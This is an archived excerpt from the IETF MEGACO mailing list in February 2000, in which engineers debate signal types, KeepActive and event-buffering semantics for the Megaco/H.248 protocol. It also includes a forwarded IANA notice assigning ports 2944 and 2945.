> > > >
> > > > Michael Brown wrote:
> > > > >
> > > > > Overall, we're still on the right track since we haven't taken the
> > > > > approach of throwing everything away and starting over, but I do have
> > > > > problems with some of the proposed changes. My feeling is that they
> > > > > take us back to the situation we had before the IETF meeting in
> > > > > Washington where I felt these issues were reasonably well resolved.
> > > > >
> > > > > The biggest general issue I have is that the definitions for signal
> > > > > type cross the boundary into dictating implementation detail. Take the
> > > > > case of  a BR signal. Happily, we have not come back around to trying
> > > > > to define some time limit for a BR signal (although I think continuing
> > > > > with the proposal will eventually lead us there again), so for now BR
> > > > > is a subjective statement. Let's say I want to play a signal of a
> > > > > relatively short tone (a couple of seconds) with a provisioned (in the
> > > > > MG) length, but I want it to be interruptable. By these definitions,
> > > > > this would have to be treated as a TO which means that the MGC would
> > > > > have to specify duration (or we have the special rule of duration=0
> > > > > means to play the signal til the MG stops it) which I don't think
> > > > > should be required.
> > > > >
> > > > > There are other example of how these definitions require a specific
> > > > > implementation of common signals, such as dial tone.
> > > > >
> > > > > Basically, I suppose I continue to feel that the default for all
> > > > > signals should be interruptable and that  Keepactive be used to
> > > > > override that behavior.
> > > > >
> > > > > Unfortunately, I don't have time to respond with my objections more
> > > > > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > > > > I arrive in Geneva, I will follow up with my other concerns and
> > > > > examples.
> > > > >
> > > > > Michael
> > > > >
> > > > >
> > > > >
> > > > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > > > >
> > > > > >
> > > > > >
> > > > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > > > I'd like to see the reaction of a couple of other vocal parties --
> > > > > > say Michael Brown and Christian Groves.
> > > > > >
> > > > > > We have three signal types with distinct roles:
> > > > > >   BR has a timer but is not interrupted by events.  It is
> > > > > > interrupted by signal descriptor replacement.
> > > > > >   TO is the most interruptible: timer, events, signal descriptors.
> > > > > >   OO is the most persistent: interrupted by signal descriptors with
> > > > > > explicit "Off" syntax only.
> > > > > > I assume we allow over-riding of default signal type in any given
> > > > > > instance of playout.
> > > > > >
> > > > > > The list is an interesting problem.  I think I have an answer to
> > > > > > turning an OO list off, but now we also have to define behaviour in
> > > > > > response to events.  We might consider the following rules:
> > > > > >
> > > > > >  -- the type of the list is set explicitly -- every signal on the
> > > > > > list with the possible exception of the last one must be either BR
> > > > > > or TO, in order to have an assigned duration
> > > > > >
> > > > > >  -- if the last event is OO, the list must be OO and vice versa
> > > > > >  -- the type of the list, not the type of the signals making it up,
> > > > > > determines the conditions under which playout of the list ceases
> > > > > >
> > > > > >  -- the list times out if it is not OO and all of the signals on it
> > > > > > have played out, each in turn to its full duration.
> > > > > >
> > > > > >      -----Original Message-----
> > > > > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > > > >
> > > > > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > > > > >      broken in order to get fixed :-)
> > > > > >
> > > > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > > > >      three different signal types and three different semantics.
> > > > > >      Each has it's own time and place. In the case of dial-tone,
> > > > > >      TimeOut happens to be the one, not Brief.
> > > > > >
> > > > > >      -- Flemming
> > > > > >
> > > > > >
> > > > > >      "Rosen, Brian" wrote:
> > > > > >            Let's see:    Events stop signals except:        When
> > > > > >           KeepActive is set        If the signal is BR        If the
> > > > > >           signal is OONet result - events stop signals only when TO
> > > > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > > > >           rather than a KeepActiveMaybe it happens so seldom that we
> > > > > >           use an embedded signals to do it.Also note that by saying
> > > > > >           BR doesn't stop for events, you twist the solution tofirst
> > > > > >           digit stops dialtone to a new level.Brian
> > > > > >                -----Original Message-----
> > > > > >                From: Flemming Andreasen [
> > > > > >                ]
> > > > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > > > >                To: MEGACO@standards.nortelnetworks.com
> > > > > >                Subject: Re: Cisco SG16: Signals Operation
> > > > > >
> > > > > >                Hi Tom
> > > > > >
> > > > > >                OO signals should not be interrupted by an event,
> > > > > >                only the explicit "Off" syntax should have this
> > > > > >                effect (otherwise we are back to TO signals with
> > > > > >                indefinite duration, and semantically there's good
> > > > > >                use for something that stays active until explicitly
> > > > > >                told otherwise, e.g. consider message waiting
> > > > > >                indicator)
> > > > > >
> > > > > >                Regards
> > > > > >
> > > > > >                        Flemming
> > > > > >
> > > > > >                Tom-PT Taylor wrote:
> > > > > >
> > > > > >
> > > > > >                     Digging through the accumulated mass of indented
> > > > > >                     text and comments, I think I see two parties
> > > > > >                     agreeing on the following points.  Unfortunately
> > > > > >                     experience tells me that as soon as we introduce
> > > > > >                     a third party the agreements will vanish, but
> > > > > >                     I'll record them here just in case a miracle
> > > > > >                     happens.
> > > > > >
> > > > > >                     1) BR signals have the following
> > > > > >                     characteristics: duration is assumed to be known
> > > > > >                     to the MG without explicit MGC input.  Brian
> > > > > >                     wants the ability to override duration, and I
> > > > > >                     have no quarrel with that -- the only question
> > > > > >                     is the exact mechanism.  The second
> > > > > >                     characteristic is that a BR signal is not
> > > > > >                     terminated by the detection of an event.  (But
> > > > > >                     BR signals are still terminated by replacement
> > > > > >                     of the Signals descriptor??  Any objections
> > > > > >                     here?)
> > > > > >
> > > > > >                     2) TO signals seem to be fairly well understood.
> > > > > >
> > > > > >                     3) OO signals have the following
> > > > > >                     characteristics: they remain on until
> > > > > >                     interrupted by detection of an event, or receipt
> > > > > >                     of a Signals descriptor with explicit Off
> > > > > >                     syntax.  Brian's keyword syntax is probably
> > > > > >                     acceptable.  Brian has a query about signal
> > > > > >                     lists.  Is there something about this proposal
> > > > > >                     that doesn't work given our current signal list
> > > > > >                     text?
> > > > > >
> > > > > >                     4) Brian's proposals for completion events
> > > > > >                     probably work for Chip and they work for me.  To
> > > > > >                     summarize: the current notifyCompletion
> > > > > >                     parameter remains but its significance changes:
> > > > > >                     it is a selector (Boolean, default FALSE) and
> > > > > >                     does not actually arm reporting.  There is a
> > > > > >                     signal completion event which reports on the
> > > > > >                     completion of any signal so flagged, with the
> > > > > >                     identity of the signal as a reporting
> > > > > >                     parameter.  QUESTION: should KeepActive default
> > > > > >                     to TRUE for this event?  In any case, the signal
> > > > > >                     completion event is invoked in the usual way,
> > > > > >                     through an events descriptor.
> > > > > >
> > > > > >                     Open issue: signal failures.  The need for
> > > > > >                     reports of such failures is real -- they do
> > > > > >                     happen from time to time.  They happen
> > > > > >                     autonomously, which means we either have to have
> > > > > >                     an error method (ServiceChange ?) or an event to
> > > > > >                     report them.  The key issue is whether you would
> > > > > >                     need to know about ANY failure or only those of
> > > > > >                     selected signals.
> > > > > >
> > >
> > > --
> > > ---------------------------------------
> > > Flemming Andreasen
> > > Cisco Systems
> > > ---------------------------------------
>
> Regards
>
>             Flemming
>
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 02:26:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01878
	for ; Wed, 9 Feb 2000 02:26:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.963AEB70@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:23:01 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33609 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 02:21:55 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6EE41E70@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:21:55
          -0500
Received: from zmers013 by smtprch1.nortel.com; Wed, 9 Feb 2000 01:24:06 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Wed, 9
          Feb 2000 02:23:52 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1QNDPPKH>; Wed, 9 Feb 2000 01:23:50 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Wed, 9 Feb 2000 01:23:48 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Application for port-number
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Here are our port allocations. 2944 (UDP and TCP) for text, 2945 (UDP and
TCP) for binary.

> -----Original Message-----
> From: IANA [SMTP:iana@ISI.EDU]
> Sent: Monday, February 07, 2000 3:25 PM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]
> Cc:   iana (E-mail)
> Subject:      RE: Application for port-number
>
> Tom,
>
> We apologize for the long delay in processing your request.  We have
> assigned the following user port numbers with you as the point of contact:
>
> user port number 2944 to megaco-h248
> user port number 2945 to h248-binary
>
> Thank you,
>
> Michelle Schipper, Administrator
>
> ***************************************************************
> Internet Assigned Numbers Authority (IANA)
> 4676 Admiralty Way, Suite 330
> Marina del Rey, California 90292
>
> Voice: (310) 823-9358 x12
> FAX:   (310) 823-8649
> email: iana@iana.org
> ***************************************************************
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 02:45:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02096
	for ; Wed, 9 Feb 2000 02:45:06 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3FC80040@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:42:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33645 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 02:40:25 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0436AC20@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:40:24
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          XAA08463; Tue, 8 Feb 2000 23:42:43 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000208184411.00aed710@localhost>
Date:         Tue, 8 Feb 2000 18:44:46 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088CE@whq-msgusr-02.fore. com>

At 09:08 AM 2/8/00 -0500, Rosen, Brian wrote:
>Thank you for taking the time to go through your issues.
>I only wish you had done so two months ago!  Before dealing with

While the "2 months ago" comment may be applicable to some other comments,
I believe in regards to event handling I have stated pretty similar
comments to Flemming's comments fairly consistently.  In the Washington
meeting (design team), I believe my comment was pretty much the same.  I
believe I stated fairly clearly my belief that the pre-Washington/white
contribution event handling mechanism was sufficient and the changes were
unnecessary.   We haven't changed our position since Red Bank.

Chip

>specifics, there is one aspect of the current mechanism you seem
>to have misinterpreted.  When EventBuffering is ON, events detected
>are compared against the EventBuffer Descriptor, not the Events Descriptor.
>
>...snip...
> > The current event handling mechanism in Megaco/H248 v14 can
> > be viewed as
> > three processes that all interact. Events can be viewed as
> > always being
> > added to an event buffer (a FIFO queue) by an Event Detection process.
>
> > Another Event Processing process then removes these events
> > from the FIFO
> > queue. When a notification is sent, this process may block,
> > waiting for a
> > new Events Descriptor to be received. Events detected
> > meanwhile will simply
> > be added to the FIFO queue. Finally, whenever a new
> > Events Descriptor is
> > received the third process runs. This process determines the
> > fate of events
> > of events sitting in the FIFO queue, and installs a new
> > Events Descriptor.
> >
> > The processes are illustrated in pseudo-code below
> >
> > Process 1: Event Detection
> > ===================
> > do {
> > 
> > if < event in current Events Descriptor> then   /* current
> > Events Descriptor
> > */
> >   
> >  else
> >   
> > } forever
>The buffering process does not always buffer events.  In most
>cases, it immediately Notifies.  The decision process is:
>         If EventBuffering is On,
>                 If no events have been detected
>                         ; the first event is immediately processed
>                         If it is in Events Descriptor
>                                 Notify immediately
>                         Else
>                                 discard
>                 Else
>                         If it is in EventBuffer Descriptor
>                                 place in the buffer
>                         Else
>                                 discard
>         Else
>                 If the event is in Events Descriptor
>                         Notify immediately
>                 Else
>                         discard
>
>To be really precise, it's possible that an event will occur
>while another event is being processed when EventBuffering is Off,
>and you could consider the second event in some kind of buffer.
>I personally wouldn't - if it made it before I finished the Notify,
>I'd add it to the Notify in process.  If it was after, I'd just hold
>off processing it until I was done.
>
>
> >
> > Process 2: Event Processing
> > ===================
> > do {
> >  < wait for event in event buffer>
> >  < remove first event from event buffer>
> >  if  then {
> >   Notify(event)
> >   if  (Eventbuffer = "on") then  /* current Events Descriptor */
> >    
> >  }
> > } forever
>I'd say this process doesn't exist
>
>
> > Process 3: New Event Descriptor
> > =======================
> > if    /* new EventsDescritpr */
> >  
> > 
>This is incorrect.  The first part is correct (clear eventBuffer if
>EventBuffering is off).  The second part is:
>   Else
>         While EventBuffer has any events
>                 If Event is in new Events Descriptor
>                         Notify this event
>                         Exit loop
>                 Else
>                         discard
>         End Loop
>
> >
> > Unfortunately, this mechanism suffers from some drawbacks,
> > especially when
> > compared to the mechanism that was specified in TD-58 after
> > the Red Bank
> > meeting:
> >
> > 1. Events to be detected in process 1 are always determined
> > by the current
> > Events Descriptor. This is an unfortunate restriction which may prevent
> > detection of events that arrive more rapidly than the round-trip +
> > processing time. For example, an application may initially
> > wish to detect
> > seizure, and subsequently detect a wink or unseizure. Unless
> > all events are
> > requested at the same time (which would effectively prevent
> > glare detection)
> > detection of all these events could not be guaranteed.
>This is incorrect, there are two masks -- Events Descriptor and
>BufferedEvents Descriptor.  The former determines what is notified,
>the latter determines what is buffered.
>
>Seizure would be Events Descriptor, Unseizure and wink would be
>in BufferedEvents Descriptor.  Alternatively, you could use an
>embedded Events Descriptor.
>
> > What is needed, is an extra parameter to specify what events
> > to detect (as
> > opposed to process) during event buffering. Preferably, this
> > set of events
> > would be determined based on the union of this parameter and
> > the current
> > Events Descriptor.
>As specified, we "detect" (I would say buffer) events in
>BufferedEvents, and we "process" (I would say Notify) events in
>Events Descriptor.  We could specify that detect is based on the
>union of BufferedEvents and Events, but it's a little late for
>optimizations (if it really is what we want, I would think not).
>
> >
> > 2. Hardcoding Notify in process 2 limits throughput, as there
> > shall normally
> > only be one outstanding Notify per termination. A queue of
> > Notify to be sent
> > may consequently build up at the sender side thereby
> > - Incurring event delivery delay when the event arrival rate
> > exceeds the
> > MG-MGC roundtrip time.
> > - Limiting the average event arrival rate to the MG-MGC
> > roundtrip time (best
> > case).
>This may be true if EventBuffering is On, but is not true if
>EventBuffering is off.  In the latter case, events are Notified as
>they are detected, and no response from the MGC is required.
>
>In the former case, this is precisely what is required.  The point of
>buffering events is that once an event is detected, the MG doesn't
>know what the MGC wants next; it has to wait to be told.  Meanwhile,
>it buffers events the MGC told it it MIGHT want to see.  When it gets
>a new event descriptor, it can send ONE event, but then it is back in
>the same state - what does the MGC want to do next?
>
>Note that this condition should be very rare - events happen at human
>speed in most cases, and computers are fast.  Even in large trunk
>gateways, the MGC better be able to keep up with the event stream by
>a whole lot more than a round trip time!
>
> > TD-58 from Red Bank did not have this limitation. First of
> > all, the MGC had
> > the various "accumulate" actions that were designed to
> > prevent this problem
> > and limit bandwidth and CPU overhead.
>It had a per event decision of Notify, Accumulate or process by
>digitmap.  We have all of those.
>
> >Secondly, (assuming
> > MGCP semantics) it
> > would be possible for the MG to try and empty the EventBuffer
> > in a single
> > message based on the current Events Descriptor (arguably, a
> > parameter to
> > explicitly allow/disallow this behavior would be beneficial).
>No one has ever described a scenario where it was once unacceptable to send
>all events, but something occurs which makes it possible to send all events
>in the buffer.  This seems unlikely
>         Either the MGC is able to run it's own state machine and
>                 it can handle events whenever they are detected
>         OR
>         The MGC has a simplistic view, and can only deal with the MG
>                 and itself being in lockstep
>
> >
> > 3. There is a dual use of the Eventbuffer parameter which is
> > unfortunate.
> > Following a Notify where the Eventbuffer was "on", there is
> > no way for the
> > MGC to subsequently request that
> > a) All the currently buffered events should be processed
> > b) Future events should not be buffered events but simply
> > sent immediately
>This is the same as above.  Somehow, the MGC couldn't handle all
>events, and now it can.  How can this be?
>I would be willing, I suppose, to allow this (that is, have some way
>to empty the Event Buffer by Notify rather than just clearing it),
>but no one has been able to come up with a really interesting
>case where the MG flips EventBuffering on and off.  I expect it will
>set it one way and leave it.
>
>Please cite an interesting case where some events should be buffered,
>but there comes an event where the buffer should be sent all at
>once (and where it is unacceptable to send the events as they
>are detected).
>
> > A simple solution to this problem would be to separate the
> > parameter into
> > two, which is precisely what the BufferedEventProcessingMode
> > in TD-58 did.
>Covered above, although no one could ever precisely explain to those of us
>who sat through countless hours of discussion and email what the 4 states of
>two variables were used for.
>
> >
> >
> > Finally, from a design perspective, the above solution contains some
> > fundamentally undesirable properties. Most problematic is the
> > hard-coded
> > Notify of events which effectively provides a stimulus based
> > approach to
> > event handling with none or little future support for scripting. It
> > effectively prevents us from taking advantage of more powerful and
> > sophisticated MGs that are able to do some amount of local processing
> > thereby
> > - reducing bandwidth requirements
> > - reducing MGC processing requirements (and complexity)
> > - improves responsiveness as the network round-trip does not become a
> > bottleneck
> > Opponents to this point of view may claim, that packages with
> > new events,
> > signals, and properties can be defined that effectively
> > achieve the above,
> > as e.g. was done for digitmaps/DTMF detection. While that is
> > indeed the case
> > (and there are valid use cases for such), the point that
> > needs to be made,
> > is that the mechanisms are basic and of such high value that
> > they should be
> > supported natively rather than only by higher level
> > mechanisms which may or
> > may not be able to interact with each other. Consider for example the
> > current DTMF detection scheme. As a consequence of the higher
> > layer approach
> > taken, it is not able to report incoming DTMF digits and
> > other inter-twined
> > events in the correct order, since the DTMF detection
> > mechanism must itself
> > be exactly one event (digit map completion). Another example is the
> > interaction with signal interruption, e.g. dial-tone. Again, special
> > consideration (define it to take place on the first digit) is
> > needed to
> > achieve the desired behavior although the event really has
> > not occurred yet.
>Scripting is, as you know, a version 2 problem.  Presumably, scripting need
>not limit itself to the same view of events, or more precisely, it would
>probably handle event detection as they occurred, and generate Notifies (if
>appropriate), whenever the script decided to.  I would allow scripts to run
>on detection, allow them to put events in the buffer, and allow them to run
>on Notify (which would include allowing the Notify script to paw through the
>buffer).
>
> > Such requirements for special treatment and consideration are simply
> > evidence of lack of generality that should not show up at
> > this stage. The
> > solution specified in TD-58 from Red Bank did not suffer from these
> > drawbacks.
>Disagree as per above
> >
> > Some additional comments below
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > Coming out of Red Bank there was NO consensus on Events,
> > > there was in fact wide disagreement on events.  Coming out of
> > > Washington, there was NO consensus on events, there was in fact
> > > wide disagreement on events.  The proposal we have in V13 was
> > > an attempt to fix what people saw as problems in the event
> > > mechanism.
> > >
> > > In Red Bank, no one could explain how the MGCP mechanism works.
> > > In Washington, several people attempted to explain how it works
> > > (Christian Huitema was not there for that session).  Today in
> > > fact, I'll bet you if you ask 10 people who claim they understand
> > > how the MGCP mechanism works, you would get several answers,
> > > although I would grant you that there is not a lot of variation
> > > in the implementations.  The V13 mechanism was not comprehensible
> > > to anyone in the design meetings in Washington or Red Bank.
> >
> > If understanding the MGCP mechanism is the real problem, then
> > I'm sure we
> > can get the right people to clarify. Having spent a lot of
> > time on this
> > (admittedly confusing) aspect myself, I can certainly offer my help if
> > needed. As for a general lack of understanding of the
> > mechanism I think you
> > are exagerating. There may be small details here and there that people
> > interpret differently, but I bet you any mechanism you
> > specify will suffer
> > from this, including yours.
>
>Flemming, there are a core of about 5 people who sat and argued and
>questioned and puzzled about the MGCP mechanism over two IETF meetings, the
>Red Bank meeting and the email list.  Check the archives - there are lots of
>messages that attempt to explain how the MGCP mechanism works.  No two
>people agreed.  I asked 4 people who said they were part of implementation
>teams.  They all explained it differently, although it seems that they
>implemented it close to the same thing.  I believe the MGCP text is poorly
>written, poorly understood.  AND, even when people more or less explained
>how it worked, they were totally unable to explain how you would use it.
>
>
> >
> >
> > >
> > >
> > > I still have never been given any semblance of a reason why
> > > the variables in the MGCP exist, and what you do with them.
> > > I can, and have, provided same for the current mechanism.  So far
> > > we have not, save the confusion over the digitmap/keep active
> > > confusion, found a problem.
> >
> > If you can be more specific I will do my best to try and explain.
> >
> > >
> > >
> > > So far, I have found people who want the MGC to sort out events,
> > > and they want them as fast as the MG finds them.  I also found
> > > people who want a simple state machine, with the MG and MGC in
> > > lock step over what should happen.  We cater to both of those.
> > > You seem to want something in between, something where the MG
> > > has more knowledge about what the MGC wants, and when it wants it
> > > than I can figure out.  I can't understand how anything in between
> > > gimme all of them, and gimme the next one can work; please
> > > enlighten me.
> >
> > Scripting! It comes in many shapes and forms (although not as
> > many and not
> > as powerful as you might want right now). You have already defined one
> > yourself; digit maps. What accumulate, etc. gives you is essential the
> > foundation to build on here. It can even be used natively in
> > some cases,
> > e.g. for MF trunking if you so desire.
> >
> > >
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Cisco SG16: Keep Active
> > > >
> > > >
> > > > Hi Brian
> > > >
> > > > Some comments below
> > > >
> > > > Regards
> > > >
> > > >             Flemming
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > We have just had a discussion on this issue, and I believe it
> > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > of dtmf detection, but is otherwise the same as individual dtmf
> > > > > events being enabled.  By that definition, KeepActive works the
> > > > > way you wanted it; without it, signals stop with first detected
> > > > > digit.  With it, signals continue while digits are detected.
> > > > > So your IVR app would specify KeepActive on the
> > digitmap completion
> > > > > event, and use an embedded signal to turn it off if you
> > wanted to.
> > > > > The old mechanism doesn't work any differently; if you
> > had specified
> > > > > keepactive on the digits, whether or not they were accumulate by
> > > > > digitmap actions, you still would not be able to treat
> > the initial
> > > > > digit differently from the terminating digit.  The only way you
> > > > > could make this better would be to have the digitmap completion
> > > > > event entirely separate from the dtmf detection events, so you
> > > > > could have KeepActive separately on the digits from the
> > completion.
> > > > > I think embedded signals is a better answer, but I'm on
> > record as
> > > > > thinking that digitmaps should be a package and not a basic
> > > > > protocol.
> > > > >
> > > > > I'll deal with any problems we still have with the current text,
> > > > > but a "everything changed" complaint without a problem
> > is a no-op.
> > > >
> > > > I beg to differ. A change without a problem is
> > > > counterproductive and what
> > > > gets into these situations. We had something perfectly fine
> > > > after the Red
> > > > Bank meeting which for some reason was changed. Exactly
> > *what* was the
> > > > problem that prompted this massive change (I'll spare you
> > the ITU-T
> > > > procedural arguments here). If there were no compelling
> > > > reasons, then I
> > > > suggest that the text is simply brought back in line with the
> > > > agreement from
> > > > Red Bank, and then we can close this (big) one and move along.
> > > >
> > > > If you really want to, we can start a debate about the
> > > > relative merits,
> > > > trade-offs, and shortcomings of one scheme versus the other.
> > > > A couple of
> > > > topics off the top of my head
> > > > - Reduced number of messages and resultant reduced load
> > on network and
> > > > entities
> > > > - Effective event arrival rate not limited by MGC-MG
> > round-trip time
> > > > - Support for scripting
> > > >
> > > >
> > > >
> > > > >
> > > > >
> > > > > brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > >
> > > > > >
> > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > >
> > > > > > >
> > > > > > >I think the primary need here is for clarifying text in
> > > > > > section 7.1.14
> > > > > > >indicating that events mapped into a digit map do
> > not generate
> > > > > > >notifications, but do terminate ongoing signals unless the
> > > > > > KeepActive flag
> > > > > > >is set.
> > > > > > Not really. The fundamental problem is the complete rework of
> > > > > > the agreed
> > > > > > upon event handling mechanism that for some reason was done
> > > > > > after the Red
> > > > > > Bank meeting.
> > > > > >
> > > > > > >
> > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > 25, 2000 7:43
> > > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > >   Cisco SG16:
> > > > > > >Keep Active
> > > > > > >
> > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > >table  Category:       Technical  Issue:          The draft
> > > > > > text specifies
> > > > > > >that "KeepActive:      As Notify, but  production of signals
> > > > > > continues (if
> > > > > > >any signals were active)".The above  definition is overly
> > > > > > restrictive in
> > > > > > >that it prevents events from being  accumulated (either with
> > > > > > or without
> > > > > > >digit map) and at the same time keeping  a signal active.
> > > > > > For example an
> > > > > > >IVR application accumulating a string of  user input and
> > > > playing an
> > > > > > >announcement until the entire string is  accumulated cannot
> > > > > > be supported
> > > > > > >with the above behaviour.  Proposal:       It is
> > > > recommended, that
> > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > becomes possible to
> > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > combined with,
> > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > the particular
> > > > > > >application.
> > > > > > >
> > > > > > >v13 Status:     OPEN. Event actions table has been
> > removed and
> > > > > > >extensive  modification of entire event processing
> > taken place.
> > > > > > >
> > > > > > >Section:        7.1.9  Category:       Technical  Issue:
> > > >          The
> > > > > > >draft text specifies that "When KeepActive is specified
> > > > as the  event
> > > > > > >action, the media gateway shall send a Notify message to the
> > > > > >  controller
> > > > > > >upon detection of the event. Furthermore, the controller
> > > > shall  not
> > > > > > >interrupt any signals active on the Termination on which
> > > > the event
> > > > > > >is  detected" The above definition is overly restrictive
> > > > in that it
> > > > > > >prevents  events from being accumulated (either with or
> > > > > > without digit map)
> > > > > > >and at the  same time keeping a signal active. For
> > example an IVR
> > > > > > >application  accumulating a string of user input and
> > playing an
> > > > > > >announcement until the  entire string is accumulated cannot
> > > > > > be supported
> > > > > > >with the above behaviour.  Proposal:       It is
> > > > recommended, that
> > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > becomes possible to
> > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > combined with,
> > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > the particular
> > > > > > >application.
> > > > > > >
> > > > > > >v13 Status:     OPEN. Extensive modifications of event
> > > > handling has
> > > > > > >taken  place. Events now always reported immediately on
> > > > detection.
> > > > > >
> > > > > > Support NetAid!  http://www.netaid.org
> > > > > > --------------------------------------------------
> > > > > > Chip Sharp                 Consulting Engineering
> > > > > > Cisco Systems              Telco Bio-region
> > > > > > Reality - Love it or Leave it.
> > > > > > --------------------------------------------------
> > > > > >
> > > >
> > > > --
> > > > ---------------------------------------
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > > ---------------------------------------
> > > >
> > > >
> >
> > Regards
> >
> >         Flemming
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
> >
> >

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 02:59:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02141
	for ; Wed, 9 Feb 2000 02:59:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.36A3B0C0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:56:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33685 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 02:54:12 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F1C70F10@standards.nortelnetworks.com>; Wed, 9 Feb 2000 2:54:12
          -0500
Received: from zmers013 by smtprch1.nortel.com; Wed, 9 Feb 2000 01:55:59 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Wed, 9
          Feb 2000 02:55:54 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN6V6W>; Wed, 9 Feb 2000 02:55:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF72D3.16A49DFA"
Message-ID:  
